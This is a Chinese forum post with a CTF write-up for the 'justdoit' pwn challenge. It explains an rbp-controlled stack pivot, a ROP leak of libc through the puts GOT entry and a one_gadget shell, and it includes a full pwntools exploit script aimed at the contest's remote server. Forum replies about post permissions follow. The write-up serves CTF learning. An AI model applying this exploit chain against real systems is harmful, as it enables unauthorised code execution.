东软杯-pwn-justdoit
第一届东软杯pwn-justdoit一直等着比赛第二天有pwn题续命,可惜,下次比赛目标pwn题拉满!
ida分析通过伪函数分析发生没有什么漏洞,也没看到malloc、free、new关键字,那么一定是栈题、函数中也没发现缓冲区溢出,那么就找程序中一些奇奇怪怪的代码配合汇编一起看。
最后在main汇编代码里面发现了这个
加上测试程序时报了段错误
那么程序漏洞利用点必是这里无疑,既然rbp的值可以控制,因为rbp与程序执行流密切相关,那么我输入一个地址将rbp置于它的上方即可达到劫持执行流。因为程序没有后门,嗯,保护措施如下:
思路:可用got表劫持,libc泄漏
ok,name后面的buf可以输入执行地址,frends后面的buf可以改变执行流,以下简称buf1、buf2.
buf1只能输入0x18那么刚好就是3个地址,64位中ROP泄漏libc就是 pop_rdi + @got + @plt + ret_addr,即可leak,那么很明显这里放不下,那么就需要拆分执行。
```
call和ret指令都是转移指令,它们都修改IP,或同时修改CS和IP
```
这题我们调整rep的值指向rsp,那么它会将rsp的下一条指令pop ip,那么此时rbp也会指向rsp的值经过leave后会将这个值保存至rbp寄存器,此时程序误以为回到了调用者函数,然后又会重用之前的rbp,嗯,ok
payload:
```python
sa('name?',p64(main) +p64(main))
sa('frends??',str(-0x20)) #指向第二个参数那么rbp = main ,ret = main
sa('name?',p64(prdi)+p64(puts_got)+p64(puts_plt))
sa('frends??',str(-0x28))
```
程序先执行一遍main函数并把main函数地址保存至rbp,然后执行got表泄漏后执行rbp的值,那么程序就又回到了main。
ok,这一次直接getshell
```python
leak = uu64(ru('\n')[:-1])
base = leak - libc.symbols['puts']
success('base',base)
one =
sa('name?',p64(base+one))
sa('frends??',str(-0x28))#指向ROP链的前一个
it()
```
完整exp:
```python
from pwn import *
#context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux' , 'splitw', '-h']
SigreturnFrame(kernel = 'amd64')
binary = "./justdoit"
global p
local = 0
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("47.106.172.144","65004")
e = ELF(binary)
libc = ELF('libc-2.23.so')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def raw(s):
log.success('当前执行步骤 -> '+s)
pause()
#start
puts_plt = e.plt['puts']
puts_got = e.got['puts']
prdi = 0x00000000004012b3
main = 0x4011d5
sa('name?',p64(main) +p64(main))
sa('frends??',str(-0x20)) #指向第二个参数那么rbp = main ,ret = main
sa('name?',p64(prdi)+p64(puts_got)+p64(puts_plt))
sa('frends??',str(-0x28))
leak = uu64(ru('\n')[:-1])
base = leak - libc.symbols['puts']
success('base',base)
one =
sa('name?',p64(base+one))
sa('frends??',str(-0x28))
it()
```
为什么不能修改权限啊,记得我之前没有吾爱账号导致很多想看的文章都看不了,最终还是活成了自己讨厌的人 心中的沉默 发表于 2021-12-10 22:58
没法,我也一样,不是你一个人,帖子有权限,大概率不影响,小概率影响搜索引擎
https://www.52poji ...
楼主和你的那个不是一个原因,今天核查发现还真是我们新插件导致的bug,已经回滚了,楼主帖子我重新编辑取消权限了,抱歉。@HNHuangJingYU Hmily 发表于 2021-12-20 18:09
楼主和你的那个不是一个原因,今天核查发现还真是我们新插件导致的bug,已经回滚了,楼主帖子我重新编辑 ...
谢谢没问题了{:1_919:} 本帖最后由 HNHuangJingYU 于 2021-12-10 20:54 编辑
怎么开放给所有人啊,大佬们:'(weeqw 不会用吧。太难了 :rggrg没法,我也一样,不是你一个人,帖子有权限,大概率不影响,小概率影响搜索引擎
https://www.52pojie.cn/thread-1559338-1-1.html 收藏,学习,谢谢 感谢分享 看不懂,啥都不说了,先收藏,在学习 学习,谢谢 谢谢老师分享软件,辛苦啦,这个要认真学习才行呢。
页:
[1]
2